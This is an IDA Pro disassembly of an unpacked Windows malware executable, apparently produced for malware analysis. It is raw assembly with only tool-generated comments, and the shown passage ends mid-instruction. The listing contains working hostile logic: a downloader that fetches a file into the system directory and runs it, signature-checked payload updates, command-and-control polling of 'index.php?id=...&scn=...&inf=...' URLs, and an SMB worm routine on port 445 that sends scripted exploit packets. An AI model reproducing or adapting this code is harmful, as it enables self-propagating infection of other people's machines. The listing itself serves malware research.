; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D60E75F8ECE920C1FEDAB3DE6E97BF40 ; File Name : u:\work\d60e75f8ece920c1fedab3de6e97bf40_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 30900000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 30901000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_30901000 dd 77DD590Bh ; DATA XREF: sub_30902844+1Ar dword_30901004 dd 77DD59F0h ; DATA XREF: sub_30902844+38r dword_30901008 dd 77DD23D7h ; DATA XREF: sub_309027EB+3Er dword_3090100C dd 77DD22EAh ; DATA XREF: sub_309027B6+14r ; sub_309027EB+1Dr dword_30901010 dd 77DD5C55h ; DATA XREF: sub_309027B6+24r dword_30901014 dd 77DD189Ah ; DATA XREF: sub_309027B6+2Dr ; sub_309027EB+4Er ... dword_30901018 dd 77E2A571h ; DATA XREF: sub_3090235D+13Br dword_3090101C dd 77DE089Eh ; DATA XREF: sub_30901752+17r dword_30901020 dd 77DE07A3h ; DATA XREF: sub_30901752+30r dword_30901024 dd 77DE0D79h ; DATA XREF: sub_30901752+4Dr dword_30901028 dd 77DE0343h ; DATA XREF: sub_30901752+5Br dword_3090102C dd 77DE0AF0h ; DATA XREF: sub_30901736+8r dword_30901030 dd 77DE042Eh ; DATA XREF: sub_30901736+12r dword_30901034 dd 77DDEBA2h ; DATA XREF: sub_309016E7+6r dword_30901038 dd 77DE0BB2h ; DATA XREF: sub_309016E7+3Dr align 10h dword_30901040 dd 77E79E34h ; DATA XREF: sub_30902C1B+Br dword_30901044 dd 77E7980Ah ; DATA XREF: sub_30902C07+Dr dword_30901048 dd 77E7A099h ; DATA XREF: sub_30902AC9+17r dword_3090104C dd 77E76A2Eh ; DATA XREF: sub_30902AC9+E9r dword_30901050 dd 77E6BD13h ; DATA XREF: sub_309029FD+71r dword_30901054 dd 77E684C6h ; DATA XREF: sub_309029FD+B0r dword_30901058 dd 77EBB1E7h ; DATA XREF: sub_30902C8Cr dword_3090105C dd 77EBA595h ; DATA XREF: sub_30902C86r dword_30901060 dd 77E616B4h ; DATA XREF: sub_30902897+9Br dword_30901064 dd 77EBA6E9h ; DATA XREF: sub_30902C80r dword_30901068 dd 77E73167h ; DATA XREF: sub_3090267B+13r ; sub_30902AC9+8Fr dword_3090106C dd 77E777EFh ; DATA XREF: sub_3090252C+3Fr ; sub_309025B4+58r dword_30901070 dd 77E737DEh ; DATA XREF: sub_3090235D+2Dr dword_30901074 dd 77E79D5Bh ; DATA XREF: sub_30902349+8r dword_30901078 dd 77E79D8Ch ; DATA XREF: sub_309011A0+EDr dword_3090107C dd 77E77963h ; DATA XREF: sub_309011A0+B9r ; sub_309011A0+F6r ... dword_30901080 dd 77E7A837h ; DATA XREF: sub_309011A0+8Fr ; sub_3090216F+57r dword_30901084 dd 77E74672h ; DATA XREF: sub_309011A0+5Ar ; sub_30901422+64r ... dword_30901088 dd 77E74155h ; DATA XREF: sub_309011A0+3Dr ; sub_309029FD+40r dword_3090108C dd 77E704FCh ; DATA XREF: sub_309011A0+37r ; sub_309029FD+1Br dword_30901090 dd 77E7513Ch ; DATA XREF: sub_309015C7+29r dword_30901094 dd 77E61BE6h ; DATA XREF: sub_3090169C+3Er ; sub_309017B9+16Cr ... dword_30901098 dd 77E73BEFh ; DATA XREF: sub_309017B9+4Fr dword_3090109C dd 77E79C90h ; DATA XREF: sub_30901D20+4Dr dword_309010A0 dd 77E7A5FDh ; DATA XREF: sub_30901D20+13r ; sub_30901DA8+2Cr dword_309010A4 dd 77E805D8h ; DATA XREF: sub_30901D20+Dr ; sub_3090235D+D4r dword_309010A8 dd 77E61A90h ; DATA XREF: sub_30901DA8+BCr dword_309010AC dd 77E706B7h ; DATA XREF: sub_30901DA8+8Ar ; sub_30902897+92r dword_309010B0 dd 77E79F93h ; DATA XREF: sub_30901DA8+26r ; UPX0:309022E1r dword_309010B4 dd 77E7751Ah ; DATA XREF: sub_30901EB3+12r dword_309010B8 dd 77E7C2C4h ; DATA XREF: sub_30901EE1+8r dword_309010BC dd 77E7AC37h ; DATA XREF: sub_30901EF0+12r ; sub_30901F0A+12r dword_309010C0 dd 77E61BB8h ; DATA XREF: sub_30901F5B+38r dword_309010C4 dd 77E74A3Bh ; DATA XREF: sub_30902006+13r dword_309010C8 dd 77E73AB3h ; DATA XREF: sub_30902006+8r dword_309010CC dd 77E73C49h ; DATA XREF: sub_30902036+12Ar ; sub_3090216F+66r ... dword_309010D0 dd 77E78B82h ; DATA XREF: sub_3090216F+92r dword_309010D4 dd 77E793EFh ; DATA XREF: sub_3090216F+6Er dword_309010D8 dd 77E75CB5h ; DATA XREF: UPX0:3090231Br ; sub_309029FD+C3r dword_309010DC dd 77F5157Dh ; DATA XREF: UPX0:3090230Cr dword_309010E0 dd 77E73628h ; DATA XREF: UPX0:309022F1r ; sub_309029FD+Fr align 8 dword_309010E8 dd 77C35280h ; DATA XREF: sub_30901EB3+22r dword_309010EC dd 77C42E10h ; DATA XREF: sub_30902C42r dword_309010F0 dd 77C43710h ; DATA XREF: sub_30902C3Cr dword_309010F4 dd 77C43490h ; DATA XREF: sub_30902C36r dword_309010F8 dd 77C3528Dh ; DATA XREF: sub_3090169C+1Br ; sub_30901F2B:loc_30901F3Cr ... ; --------------------------------------------------------------------------- loc_309010FC: ; DATA XREF: UPX0:loc_30902C30r mov al, 3Eh retn ; --------------------------------------------------------------------------- db 77h dword_30901100 dd 77C43AB0h ; DATA XREF: sub_30901422+3Cr ; sub_30902036:loc_30902067r ... dword_30901104 dd 77C43500h ; DATA XREF: sub_30901316+37r ; sub_30901422+AAr dd 0 dword_3090110C dd 77D4BDCAh ; DATA XREF: sub_30901DA8+5Dr dword_30901110 dd 77D4456Bh ; DATA XREF: sub_30901DA8+67r dword_30901114 dd 77D45CBCh ; DATA XREF: sub_30901DA8+7Ar dword_30901118 dd 77D4C96Ah ; DATA XREF: sub_309015C7+5Dr ; sub_309015C7+77r ... align 10h dword_30901120 dd 76214750h ; DATA XREF: sub_309011A0+A9r ; sub_309015C7+9Dr dword_30901124 dd 7620AFB6h ; DATA XREF: sub_309011A0+18r ; sub_309015C7+89r dword_30901128 dd 76204E4Dh ; DATA XREF: sub_309015C7+C2r dword_3090112C dd 762211EFh ; DATA XREF: sub_30901FF0+8r ; UPX0:3090270Br dword_30901130 dd 7620BD61h ; DATA XREF: sub_309011A0+DBr ; sub_309015C7+B0r align 8 dword_30901138 dd 71AB41DAh ; DATA XREF: sub_309022B3+10r dword_3090113C dd 71AB3ECEh ; DATA XREF: sub_3090216F+100r dword_30901140 dd 71AB5DE2h ; DATA XREF: sub_3090216F+10Dr dword_30901144 dd 71AB868Dh ; DATA XREF: sub_3090216F+120r dword_30901148 dd 71AB32CAh ; DATA XREF: sub_30901FB1+Cr dword_3090114C dd 71AB1740h ; DATA XREF: sub_30901FB1+17r dword_30901150 dd 71AB2BBFh ; DATA XREF: sub_30901FB1+25r dword_30901154 dd 71AB3C22h ; DATA XREF: sub_309017B9+2Br ; sub_3090216F+ACr dword_30901158 dd 71AB401Ch ; DATA XREF: sub_309017B9+44r ; sub_3090267B+Dr dword_3090115C dd 71AB1746h ; DATA XREF: sub_309017B9+147r ; sub_3090216F+F0r dword_30901160 dd 71AB3E5Dh ; DATA XREF: sub_309017B9+15Dr dword_30901164 dd 71AB1AF4h ; DATA XREF: sub_309017B9+17Br ; sub_30902036+67r ... dword_30901168 dd 71AB5690h ; DATA XREF: sub_309017B9+1A4r ; sub_309017B9+1D8r ... dword_3090116C dd 71AB8629h ; DATA XREF: sub_309017B9+550r ; sub_30902036+11Br dword_30901170 dd 71AB1A6Dh ; DATA XREF: sub_309017B9+559r ; sub_30902036+122r align 8 dword_30901178 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_30901422+5o dd offset nullsub_1 align 8 dword_30901188 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_3090235D+5o dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309011A0 proc near ; CODE XREF: sub_30901422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_30901124 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_309011CB push 1 jmp loc_30901261 ; --------------------------------------------------------------------------- loc_309011CB: ; CODE XREF: sub_309011A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3090108C ; GetSystemDirectoryA mov edi, dword_30901088 lea eax, [ebp+var_110] push offset dword_30904230 push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_30901084 ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_30901F2B pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_30904228 push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_30901080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_30901241 push 2 jmp short loc_30901261 ; --------------------------------------------------------------------------- loc_30901241: ; CODE XREF: sub_309011A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_30901120 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_30901264 push [ebp+var_4] call dword_3090107C ; CloseHandle push 3 loc_30901261: ; CODE XREF: sub_309011A0+26j ; sub_309011A0+9Fj pop eax jmp short loc_309012B5 ; --------------------------------------------------------------------------- loc_30901264: ; CODE XREF: sub_309011A0+B4j mov edi, 100000h push edi call sub_30902C07 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_30901130 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_30901078 ; WriteFile push [ebp+var_4] call dword_3090107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_30901F5B push ebx call sub_30902C1B add esp, 0Ch xor eax, eax loc_309012B5: ; CODE XREF: sub_309011A0+C2j pop edi pop esi pop ebx leave retn sub_309011A0 endp ; =============== S U B R O U T I N E ======================================= sub_309012BA proc near ; CODE XREF: sub_30901422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_309012D1: ; CODE XREF: sub_309012BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_309012D1 pop edi pop esi pop ebx retn sub_309012BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901316 proc near ; CODE XREF: sub_3090139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_30901349 add ebx, 1Ah loc_30901349: ; CODE XREF: sub_30901316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_30901104 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_30901373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_30901396 ; --------------------------------------------------------------------------- loc_30901373: ; CODE XREF: sub_30901316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_30901393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_30901396 ; --------------------------------------------------------------------------- loc_30901393: ; CODE XREF: sub_30901316+68j mov al, [ebp+arg_0] loc_30901396: ; CODE XREF: sub_30901316+5Bj ; sub_30901316+7Bj pop edi pop esi pop ebx leave retn sub_30901316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090139B proc near ; CODE XREF: sub_30901422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_309013F8 mov edi, [ebp+arg_0] push ebx loc_309013B0: ; CODE XREF: sub_3090139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_30901316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_309013DC cmp bl, 7Ah jg short loc_309013DC movsx esi, bl sub esi, 61h loc_309013DC: ; CODE XREF: sub_3090139B+34j ; sub_3090139B+39j cmp bl, 41h jl short loc_309013EC cmp bl, 5Ah jg short loc_309013EC movsx esi, bl sub esi, 41h loc_309013EC: ; CODE XREF: sub_3090139B+44j ; sub_3090139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_309013B0 pop ebx jmp short loc_309013FB ; --------------------------------------------------------------------------- loc_309013F8: ; CODE XREF: sub_3090139B+Fj mov edi, [ebp+arg_0] loc_309013FB: ; CODE XREF: sub_3090139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3090139B endp ; =============== S U B R O U T I N E ======================================= sub_30901402 proc near ; CODE XREF: sub_30901422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_30901406: ; CODE XREF: sub_30901402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_30901406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_30901402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901422 proc near ; CODE XREF: sub_309015C7+B7p var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_30901178 push offset loc_30902C30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_30901100 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_309015A8 add edi, 4 mov [ebp+var_130], edi jz loc_309015A8 push edi call dword_30901084 ; lstrlen mov [ebp+var_1C], eax cmp eax, 50h jle loc_309015A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_309015A8 cmp ebx, 1Ah jge loc_309015A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_30901104 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_309015A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3090139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_309012BA lea eax, [ebp+var_164] push eax call sub_30901402 add esp, 1Ch cmp [esi], al jnz short loc_309015A8 push 44h push offset dword_30904000 lea eax, [ebp+var_124] push eax call sub_309016E7 add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_30901752 add esp, 18h test eax, eax jnz short loc_3090159B cmp [ebp+var_174], edi jz short loc_3090159B lea eax, [ebp+var_11C] push eax call sub_309011A0 pop ecx mov [ebp+var_128], edi loc_3090159B: ; CODE XREF: sub_30901422+15Cj ; sub_30901422+164j lea eax, [ebp+var_124] push eax call sub_30901736 pop ecx loc_309015A8: ; CODE XREF: sub_30901422+4Ej ; sub_30901422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_30901422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309015C7 proc near ; CODE XREF: sub_3090169C+14p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_30902C07 pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_30901090 ; GetLocaleInfoA xor ebx, ebx cmp [ebp+arg_4], bl jz short loc_3090162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_30904FCC push dword_30904FE4 push offset aSvpfpgicpowmif ; "svpfpgicpowmifdrfha" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_30901118 ; wsprintfA add esp, 1Ch jmp short loc_30901647 ; --------------------------------------------------------------------------- loc_3090162F: ; CODE XREF: sub_309015C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_30901118 ; wsprintfA add esp, 0Ch loc_30901647: ; CODE XREF: sub_309015C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_30901124 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_30901120 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_30901130 ; InternetReadFile push esi call sub_30901422 push esi call sub_30902C1B mov esi, dword_30901128 pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle pop edi pop esi pop ebx leave retn sub_309015C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3090169C proc near ; DATA XREF: sub_3090235D+119o push esi loc_3090169D: ; CODE XREF: sub_3090169C+49j xor esi, esi loc_3090169F: ; CODE XREF: sub_3090169C+47j inc esi inc esi mov al, byte_30904080[esi+esi*4] push eax push off_30904081[esi+esi*4] call sub_309015C7 pop ecx pop ecx call dword_309010F8 ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_30902020 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_30901094 ; Sleep cmp esi, 14h jb short loc_3090169F jmp short loc_3090169D sub_3090169C endp ; =============== S U B R O U T I N E ======================================= sub_309016E7 proc near ; CODE XREF: sub_30901422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_30901034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_30901714 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_30901714 push 1 pop eax jmp short loc_30901732 ; --------------------------------------------------------------------------- loc_30901714: ; CODE XREF: sub_309016E7+19j ; sub_309016E7+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_30901038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_30901732: ; CODE XREF: sub_309016E7+2Bj pop edi pop esi pop ebx retn sub_309016E7 endp ; =============== S U B R O U T I N E ======================================= sub_30901736 proc near ; CODE XREF: sub_30901422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3090102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_30901030 ; CryptReleaseContext xor eax, eax pop esi retn sub_30901736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901752 proc near ; CODE XREF: sub_30901422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3090101C ; CryptCreateHash test eax, eax jnz short loc_30901778 push 1 pop eax jmp short loc_309017B5 ; --------------------------------------------------------------------------- loc_30901778: ; CODE XREF: sub_30901752+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_30901020 ; CryptHashData test eax, eax jnz short loc_30901791 push 2 pop edi jmp short loc_309017AA ; --------------------------------------------------------------------------- loc_30901791: ; CODE XREF: sub_30901752+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_30901024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_309017AA: ; CODE XREF: sub_30901752+3Dj push [ebp+arg_0] call dword_30901028 ; CryptDestroyHash mov eax, edi loc_309017B5: ; CODE XREF: sub_30901752+24j pop edi pop esi pop ebp retn sub_30901752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309017B9 proc near ; CODE XREF: sub_309024C8+36p ; sub_3090252C+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_30902C50 mov eax, dword_30904CBC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_30904CC0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_30901154 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_30901D19 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_30901158 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_30901098 ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_30904CB0 push eax call dword_30901118 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_3090182C: ; CODE XREF: sub_309017B9+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_3090182C push 60h lea eax, [ebp+var_E4] push offset dword_309047D0 push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C3C ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_30902C42 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_30902C3C ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C3C ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C3C ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_30902C42 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_30902C36 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_30902C36 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_3090115C ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_30901160 ; connect cmp eax, 0FFFFFFFFh jz loc_30901D0F mov esi, dword_30901094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_30901164 push 89h push offset dword_309045B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0A8h push offset dword_30904644 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0DEh push offset dword_309046F0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 cmp eax, 46h jl loc_30901D04 cmp [ebp+var_730], 31h jnz loc_30901BAF and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_30902C36 ; memset add esp, 0Ch push offset byte_309042F0 call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_EA4] push offset byte_309042F0 push eax call sub_30902C42 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_30902C42 ; memcpy mov eax, dword_30904BF6 add esp, 0Ch mov [ebp+var_798], eax loc_30901A50: ; CODE XREF: sub_309017B9+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 68h push offset dword_30904834 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0A0h push offset dword_309048A0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 cmp [ebp+arg_0], 0 jz loc_30901C9F push 68h lea eax, [ebp+var_89E4] push offset dword_30904A58 push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call 